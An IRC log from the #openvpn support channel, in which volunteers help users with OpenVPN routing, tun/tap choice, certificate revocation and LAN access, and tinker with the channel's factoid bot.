06:03 -!- master_of_master [~master_of@p4FF24C3D.dip0.t-ipconnect.de] has joined #openvpn
06:07 -!- master_o1_master [~master_of@p4FD7B27E.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
06:07 -!- justaguy [~ju@unaffiliated/justaguy] has joined #openvpn
06:15 -!- justaguy [~ju@unaffiliated/justaguy] has quit [Quit: leaving]
06:37 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has joined #openvpn
06:38 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has quit [Client Quit]
06:39 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has joined #openvpn
06:41 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 268 seconds]
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:00 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
07:03 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:04 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
07:04 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has left #openvpn []
07:06 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
07:07 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 255 seconds]
07:07 -!- michaelhart_ is now known as michaelhart
07:16 <@ecrist> good morning
07:20 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has joined #openvpn
07:34 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
07:34 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
07:36 < xanderer> windows 8.1 with openvpn client 2.3 client and opensuse 13.1 with openvpn client 2.3 causes problems to connect to a ubuntu openvpn server 2.2
07:36 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
07:36 < xanderer> most times I connect to the server the both clients has blocked internet
07:37 < xanderer> but openvpn clients on windows 7 works
07:38 < xanderer> the windows 8.1 openvpn client tells something about routing errors
07:41 < xanderer> in 10% of the cases in both clients openvpn works correct , I dont know why
07:42 < xanderer> in OpenSuSE 13.1 I use Networkmanager to connect, because serivce openvpn does not work or doesn't exist.
07:43 < xanderer> there exist no openvpn log, but a Networkmanager log
07:43 <@ecrist> are you running as an administrator?
07:44 < xanderer> in win 8.1 yes
07:44 < xanderer> but in opensuse maybe not
07:45 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has quit [Quit: Leaving.]
07:46 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
07:49 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has quit [Client Quit]
07:49 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
07:49 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has quit [Client Quit]
07:54 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
07:54 < xanderer> re
07:55 < xanderer> I had to go off because of NetworkManager. ....
07:55 < xanderer> now I ran openvpn as root, also in opensuse 13.1, but same problem
07:55 < xanderer> no error in the log at stdout
07:56 < xanderer> because I startet it directly by "openvpn configfile"
07:56 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Ping timeout: 272 seconds]
07:57 < xanderer> the config file was automatically generated by zentyal
07:58 < xanderer> should I install a newer openvpn server on an old ubuntu?
08:02 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
08:05 < xanderer> test
08:07 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Operation timed out]
08:15 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 262 seconds]
08:16 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 240 seconds]
08:20 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
08:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
08:22 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:25 < xanderer> :(
08:30 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:33 -!- elfixit [~Icedove@82.197.179.4] has quit [Quit: elfixit]
08:33 -!- Guest68281 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 265 seconds]
08:35 < xanderer> another try, deactivated compression
08:35 < xanderer> and now some websites work, some not, and LAN IPs dont work, strange!
08:47 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
08:48 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
08:50 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
09:00 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
09:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:06 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:07 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 246 seconds]
09:08 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
09:14 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:14 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
09:18 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Operation timed out]
09:21 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
09:22 -!- Serus [~Dragoon@31-151-158-2.dynamic.upc.nl] has joined #openvpn
09:23 < Serus> hi
09:34 < xanderer> damn openvpn
09:34 < Serus> ^
09:34 < Serus> I have fights with this system
09:35 < Serus> I took hours to try and fix w/e I did wrong
09:38 <+pekster> xanderer: To get useful help you generally need to post !configs, !logs (verb 4 is generally required), your !goal, and any other relevant information. net-man tends to hide problems and we don't recommend using it when experiencing issues
09:38 <+pekster> Useful info/referneces also available in !welcome and !howto (which are both helpfully in the /TOPIC. You did read the /TOPIC yes?)
09:39 < Serus> !welcome
09:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:39 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:45 -!- D1gitalucarD is now known as d1gital
09:45 < xanderer> http://pastebin.com/g7Ab2jrP
09:46 < xanderer> log pastebin.com/LNWbHawP
09:48 < xanderer> pekster: c
09:50 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 267 seconds]
09:50 < xanderer> my goal is a working vpn
09:51 < xanderer> !logs
09:51 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:51 < Serus> My goal is samba everywhere!
09:52 < xanderer> can I combine openvpn server 2.2 and client 2.3 ?
09:55 < rob0> "A working vpn" is not much of a goal. Reread !welcome. Yes, you can use newer clients with older servers, but ensure that only the older version's supported options are used.
09:56 < rob0> Serus, "samba everywhere" implies that you might want either of both of !clientlan and !serverlan. Check those out, especially the flowcharts.
09:56 < rob0> see also:
09:56 < rob0> !wins
09:56 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
09:58 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
10:11 -!- pa [~pa@unaffiliated/pa] has quit [Read error: Connection timed out]
10:13 -!- mode/#openvpn [+v pekster] by ChanServ
10:13 < xanderer> !welcome
10:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:14 < xanderer> I would like to access my openvpn server with my openvpn client without that every Network connection wont work
10:15 <+pekster> xanderer: To clarify: You simply want a secure connection between your client & server? And nothing else?
10:15 < rob0> Perhaps you enabled --redirect-gateway without wanting it?
10:15 <+pekster> That's my guess too, though without configs we'll never know (unless I missed them from the d/c)
10:16 < rob0> you did, but they were in two pastes so I didn't look
10:16 < rob0> http://pastebin.com/g7Ab2jrP log pastebin.com/LNWbHawP
10:16 < xanderer> so what shall I do?
10:17 < rob0> log looks like a successful connection
10:18 < rob0> (you probably ought to get rid of net30)
10:18 < rob0> !net30
10:18 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
10:18 <+pekster> Bad network range to use for your pushed network though (you apparently want more than "just" access to your server becuase you're pushing 192.168.1.0/24 across the VPN
10:18 <+pekster> You also are cahnigng your DHCP settings. Where is the server config?
10:18 < rob0> !topology
10:18 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
10:19 <+pekster> xanderer: If you're trying to access the server LAN, see !serverlan. Don't change your DNS settings unless that's what you intended. And be aware this may very well break anyway if your client is on 192.168.1/24 as well, which is one of the top 2 most common RFC1918 ranges. Don't use such ranges when it's possible your client could also use it
10:20 <+pekster> Either you've mis-stated your goal, or you have some cleanup to do
10:20 < Serus> rob0: I have tried tunelling samba over ssh, but I can't get it to work because windows uses those ports already. I tried both turning off the server service and the loopback adapter method. Also my ISP blocks the samba ports.
10:20 < Serus> So I figured a vpn would be good for this.
10:21 < rob0> yep
10:21 < Serus> I'm going to give installing openvpn a try again
10:21 < Serus> I definitely did something wrong yesterday
10:21 < rob0> !howto
10:21 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:22 < rob0> I did lots of things wrong yesterday.
10:22 < Serus> but luckily my teacher explained some stuff I didn't quite understand
10:22 < Serus> So I'm confident I will succeed today :)
10:24 < Serus> So I'll probably ask stuff I don't completely understand here.
10:26 < xanderer> I can not change the server config, because zentyal has made the config file
10:26 < xanderer> !serverlan
10:26 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
10:27 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
10:30 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
10:37 < xanderer> changing from tun to tap helped
10:38 < xanderer> now my win 8.1 and opensuse 13.1 openvpn clients work!
10:39 <+pekster> You shouldn't use tap unless you need raw Ethernet frame support (or want multicast/broadcast support)
10:40 <+pekster> YMMV though since you evidently "don't control" the server setup
10:40 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-wolxphtizrkbeybr] has quit [Quit: Bye]
10:40 < rob0> If the server requires tap, you're stuck with it ...
10:41 < rob0> ... which begs the question of why you'd want to use that server ...
10:43 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has quit [Quit: Leaving.]
10:46 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-uexfwipfwpykfden] has joined #openvpn
10:50 <@krzee> server requires tap o.O
10:50 <@krzee> ild require another server
10:51 <@krzee> or ild begin arp poisoning the server til they caught on that layer2 wasnt made for the internet
10:51 <@krzee> s/internet/public internet/
10:53 <+pekster> It obviously doesn't since the logs from earlier show tun. Sounds to me like another "automagic software package" that doesn't have a "more magic" switch
10:53 <+pekster> !magic
10:53 <@vpnHelper> "magic" is For a story about magic read http://www.catb.org/jargon/html/magic-story.html
10:53 <@krzee> lol @ more magic switch
10:53 <@krzee> love that story
11:10 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
11:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:28 < Ziber> My VPN has lost the ability to ping out to the internet. Is there a flowchart, like the clientlan one, to troubleshoot this?
11:35 < Ziber> Ah. Masquerading. I see.
11:36 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Operation timed out]
11:38 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:40 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 272 seconds]
11:40 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
11:45 -!- u0m3_ [~u0m3@92.80.81.116] has joined #openvpn
11:47 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 265 seconds]
11:48 -!- u0m3 [~u0m3@92.80.81.116] has quit [Ping timeout: 260 seconds]
11:50 -!- gardar [~gardar@gardar.net] has joined #openvpn
11:53 -!- gardar [~gardar@gardar.net] has quit [Client Quit]
11:54 < Serus> how can I remove a key from the database?
11:55 <@ecrist> what database?
11:55 < EugeneKay> !revoke
11:55 < EugeneKay> I give up on this bot.
11:55 < Serus> oh sorry
11:55 <@ecrist> !factoids search revoke
11:55 <@vpnHelper> No keys matched that query.
11:55 < rob0> !EugeneKay
11:55 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
11:55 < Serus> I'm using easy-rsa to setup a client key
11:55 < EugeneKay> !crl
11:55 < rob0> hah, he wasn't right this time!
11:55 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn)
11:56 <@vpnHelper> that will create the CRL file for you. ssl-admin will also build a crl for you or (#3) openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
11:56 < EugeneKay> I was right about it being shitty ;-)
11:56 <@ecrist> what's shitty about it?
11:56 < Serus> but I'm getting this error: failed to update database TXT_DB error number 2
11:56 < rob0> Potty botty.
11:56 < EugeneKay> revoke sounds like the factoid to use for this, but it isn't
11:56 < Serus> I think that's because of last time I tried installing openvpn
11:57 < EugeneKay> Anyway, you don't remove keys from the database; you mark them as invalid
11:57 < EugeneKay> Then set your server to consult a list of invalid keys(the crl)
11:57 -!- gardar [~gardar@gardar.net] has joined #openvpn
11:57 -!- gardar [~gardar@gardar.net] has quit [Client Quit]
11:59 < Serus> will the revoke full script also delete the server certificates?
11:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
12:00 < EugeneKay> Only the certificate you tell it to revoke
12:01 -!- mitz [~mitz@222.227.247.6] has joined #openvpn
12:01 < Serus> getting errors with it
12:02 < Serus> Using configuration from /etc/openvpn/easy-rsa/openssl-1.0.0.cnf    unable to load certificate 3069678800:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:703:Expecting: TRUSTED CERTIFICATE
12:04 -!- mattock_afk is now known as mattock
12:05 <+pekster> ecrist: Seach on the bot has been fluky for a while
12:06 <+pekster> It refuses to search for some queries, but if you change the raw text a bit it works; this happens on arbitrary words/phrases, and it's consistent for each one. No goofy chars are involved either
12:08 <+pekster> ecrist: Here was an especially bad example: http://fpaste.org/51065/13833257/
12:08 <+pekster> --values in particular is largely broken
12:19 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:24 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 240 seconds]
12:25 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
12:25 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
12:26 -!- takamichi [~takamichi@85.12.8.12] has joined #openvpn
12:42 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:48 -!- gardar [~gardar@gardar.net] has joined #openvpn
12:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.]
12:49 <@ecrist> pekster: see if the bot works better now.
12:49 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
12:49 -!- mode/#openvpn [+o vpnHelper] by ChanServ
12:51 <+pekster> No change with the last case example; fwiw this time I even tried doing --values --regexp '.*vpnbook.*' with nothing but the help output again
12:51 <+pekster> Works fine with either --values book or --values --regexp '.*book.*' -- but of course returns more results than desirable
12:51 < rob0> Bot: get to work!
12:52 < rob0> vpnHelper, get me some coffee.
12:52 <+pekster> It'll get you coffee, it just won't search for it (it's like one of those bad co-workers that never tries to open the cubbord to put  more coffee in after taking the last pot!)
12:53 <@ecrist> since I just restarted, does it work now?
12:53 <@ecrist> !revoke
12:53 < EugeneKay> That isn't a factoid to begin with was my point
12:53 <+pekster> !search --values vpnbook
12:53 <@vpnHelper> (search <word>) -- Searches for <word> in the current configuration variables.
12:53 -!- kirin` [telex@gateway/shell/anapnea.net/x-bxzchpisjjdefubc] has quit [Ping timeout: 264 seconds]
12:53 <+pekster> !search --values book
12:53 <@vpnHelper> (search <word>) -- Searches for <word> in the current configuration variables.
12:53 < EugeneKay> !factoids search book
12:53 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
12:53 <+pekster> Guess that neesd to be in PM
12:53 <+pekster> Oh, there we go
12:54 <+pekster> !factoids searhch --values vpnbook
12:54 <+pekster> !factoids search --values vpnbook
12:54 <@vpnHelper> "freevpn" is http://www.vpnbook.com/ has free openvpn accounts. we can not speak for anything about them, but hey its free
12:54 <+pekster> Okay, works here but not in PM
12:54 <+pekster> Try: /m vpnhelper factoids search #openvpn --values vpnbook
12:54  * rob0 whips vpnHelper: work harder!
12:55 <+pekster> It spews help syntax, but the _same_ syntax works fine with s/vpn//
12:55 <+pekster> s/ vpn// #technically
12:55 -!- takamichi [~takamichi@85.12.8.12] has quit [Ping timeout: 245 seconds]
12:58 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:58 -!- kirin` [telex@gateway/shell/anapnea.net/x-pfcbihtlfldriszo] has joined #openvpn
13:07 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
13:10 <@ecrist> supybot is sort of a pile of shit, but I've lacked both the time and motivation to write a new one
13:11 <@ecrist> not that it would be hard, as we have 90% of the code written at $work
13:11 < EugeneKay> gitinfo is a pretty good bot
13:11 < EugeneKay> My favorite bit is that it supports !factoids like this
13:12 < EugeneKay> And does automagic searching on partial matching, eg !fact will match factoid
13:12 < rob0> I think some supybots will suggest other factoids based on a partial match.
13:15 <+pekster> It's a minor annoyance, but usually it doesn't matter; we have the semi-updated dump output URL, and it's not a crucial feature. That vpnbook case was someone claiming it came recommended (which isn't really true, but apparently it was a factoid, which is what I was hunting for)
13:15 < Serus> Is the first login taking long?
13:15 <+pekster> "If someone ever felt motivated" style wishlist item -- I don't care enough to offer a replacement ;)
13:16 < Serus> since I have a feeling it's stuck at login
13:16 <+pekster> You don't "log in" to openvpn, though peer with mutually authenticate to each other
13:16 <+pekster> peers will mutually*
13:17 < Serus> http://raspberrypihelp.net/tutorials/1-openvpn-server-tutorial
13:18 <@vpnHelper> Title: Raspberry Pi OpenVPN Server Tutorial (at raspberrypihelp.net)
13:18 < Serus> is the guide I followed
13:18 < Serus> I open newvpn.ovpn with the openvpn client and it connects (I got further than last time!)
13:19 < Serus> but it's stuck at logging in
13:20 <+pekster> Without a logs from both sides it will be impossible to determine why, and configs may well be needed too. See !logs and !configs
13:21 < Serus> oh wait
13:21 < Serus> I connected yay!
13:21 <+pekster> There is no "logging in" output in the logs though; maybe you mistakenly downloaded "OpenVPN Connect" which is not actually OpenVPN at all
13:21 < Serus> I readded the .ovpn file and ticked both checkboxes
13:21 < Serus> and then it worked :D
13:21 <+pekster> There are also no checkboxes
13:22 < Serus> in openvpn client on windows
13:22 <+pekster> THere is also no "openvpn client"
13:22 <+pekster> !connect
13:22 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
13:22 <+pekster> ^ that is what you download; it's not open-source, and doesn't use the OpenVPN codebase at all. OpenVPN is available here:
13:22 <+pekster> !download
13:22 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
13:22 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
13:22  * pekster mutters more about corporate abuse of the copyright position
13:23 < Serus> http://31.151.158.2/vpn.png
13:23 <+pekster> Right. That is _NOT_ OpenVPN
13:23 <+pekster> Please read the !connect output above
13:24 < Ziber> There's a way to bridge the VPN interface and the eth0 interface of a machine, right? In theory, giving me access to the LAN behind it?
13:24 < Thermi>  yep
13:24 < Serus> yes
13:24 < Serus> I think the guide I used covered it
13:24 < Ziber> !bridge
13:24 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
13:25 < Serus> don't take my word for it though, I'm not an advanced linux user (imo)
13:25 <+pekster> Serus: We are the GPL open-source community that works with and offers some volunteer support for OpenVPN. What you have downloaded is a commercial product designed/produced/supported by a for-profit company that we will not support
13:25 < Serus> I see, I didn't know that
13:25 < Serus> I thought this was the official client
13:25 <+pekster> Serus: It might work for you, but this is not the place to ask for help about it, nor are the SF.net mailing lists. You'd need to obtain client support from the vendor that designed/sells this product
13:26 < Ziber> Can I do this on a client, rather than the server?
13:26 <+pekster> Did you even read the output I referenced? :(
13:26 < Serus> I did
13:26 < Serus> but ok let me rephrase, I didn't know that until you mentioned it
13:26 <+pekster> Okay. So by "non-free (non-GPL) corporate offering" it means that it is non-free-software, and not GPL ;)
13:27 < Serus> ok lets see
13:27 < Serus> so I have the download page opened
13:27 < Serus> how can I see which vpn version of the server I'm running?
13:28 <+pekster> Ziber: You can bridge on either end, but you really out not to bridge unless you need broadcast/multicast, or support for non-IP data; bridging adds more complicating factors like OS config and other details that make it messier
13:28 < Serus> which version of the vpn server*
13:28 <+pekster> Serus: OpenVPN always reports its version when run as `openvpn --version`
13:28 < Ziber> pekster: It seems like an easy way to get access to LANs behind clients.
13:29 < Serus> Ah I'm on version 2.2.1
13:29 <+pekster> If by easy you mean "requires you to do OS-level mucking about with bridge interfaces" and "need to coordinate with the DHCP server to avoid IP pool overlap" then yes
13:30 < Serus> should I download the 2.2 windows installation? or just the latest version?
13:30 <+pekster> IMO that's not actually any easier than routing anyway
13:30 <+pekster> Serus: grab the latest client; it'll talk find with any >=2.0 server, though you obviously can't use 2.3 features beteween peers unless they both are that version
13:30 < Serus> ok
13:31 <+pekster> Well, again, "client" is a bit of a misnomer since it's teh same download; it's just how you configure it that makes it a "client" or "server"
13:31 < Ziber> The one clear advantage is that, since I don't have access to the router behind this client, I won't have to add static routes on all the machines. That being said, adding a static route on one machine to test it, didn't work.
13:31 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 272 seconds]
13:32 < Serus> What do I need to tick if I only want to be able to connect the openvpn server?
13:32 <@krzee> Ziber, please follow the flowchart:
13:32 <@krzee> !clientlan
13:32 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
13:32 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
13:32 <+pekster> Ziber: Right, when you don't control the target network that's a problem. You either have a routing or firewall problem. This said, routed still works if you want to NAT
13:32 < Ziber> I have.
13:32 < Serus> I don't want to install services that I don't use
13:32 <+pekster> Serus: huh?
13:32 <@krzee> Ziber, show me the server log of the client connecting
13:32 < Serus> I'm currently installing openvpn on my laptop
13:33 < Serus> but I don't want server features
13:33 <+pekster> Serus: OpenVPN does "both" depending on your config
13:33 < Serus> the only thing I need is to be able to connect to the raspberry pi
13:33  * pekster sighs
13:33 <+pekster> The OpenVPN program is able to be configured as either. You aren't "installing" any extra "server only" features when you install OpenVPN
13:34 < Serus> so I just need the default in that case?
13:34 <+pekster> Right
13:34 < Serus> ok
13:34 < Ziber> krzee: How verbose would you like it? It's currently set to 1.
13:34 <@krzee> verb 4 please
13:35 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
13:35 < Ziber> One moment.
13:37 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
13:37 < Serus> Ok I installed it and started openvpn GUI
13:37 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
13:37 < Ziber> krzee: http://pastebin.com/cD3mkgky
13:38 < Serus> !connect
13:38 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
13:38 < Serus> !howto
13:38 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:39 <@krzee> Ziber, what OS is the client?
13:39 < Ziber> krzee: Ubuntu server.
13:39 <@krzee> Ziber, what LAN ip does the client have in the 10.220.0.0/24 subnet?
13:39 < Ziber> 10.220.0.10
13:39 <@krzee> Ziber, can you ping that IP?
13:39 < Ziber> I was able to. Now I apparently cannot.
13:40 <@krzee> (from the openvpn server)
13:40 < Ziber> Yes, I understand. And no, currently I can't.
13:40 <@krzee> ok, you wanna try to fix that and let me know when it works?
13:40 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
13:40 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
13:40 <@krzee> or would you like me to back up in the troubleshooting...?
13:41 < Ziber> I think I can fix this.
13:41 <@krzee> k
13:41 <@krzee> then ill go roll a joint and brb =]
13:41 < Ziber> My server didn't have a route for it. Working now.
13:42 < Ziber> Can I have two push lines in my server.conf?
13:42 < Serus> ah it connected
13:43 < Ziber> I have commented out the second route (not for 10.220.0.0/24), but I still have that route and not the one I want in my server.
13:47 < Ziber> Alright. I can ping the 10.220.0.0/24 address of the client, but nothing past that despite a masquerading iptables rule, as follows:
13:47 < Ziber> MASQUERADE  all  --  10.192.254.0/24      0.0.0.0/0
13:47 < Ziber> 10.192.254.0/24 is my VPN.
13:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
13:54 -!- Guest68281 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:06 < Serus> how do I acces my local LAN via vpn?
14:07 <+pekster> Serus: Info at !clientlan or !serverlan depending on which side of the connection your "local LAN" is
14:07 < Serus> well atm both are on the same network, but the LAN would be server sided
14:07 < Serus> so I can access home LAN from school
14:08 < Serus> so that would be !serverlan?
14:08 < Serus> !serverlan
14:08 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:08 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:08 < Serus> !ipforward
14:08 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
14:08 <+pekster> If your home LAN is configured to act as the openvpn server, yes. Remember, OpenVPN can be configured as either; it all depends on how you write your config file
14:09 < Serus> !linipforward
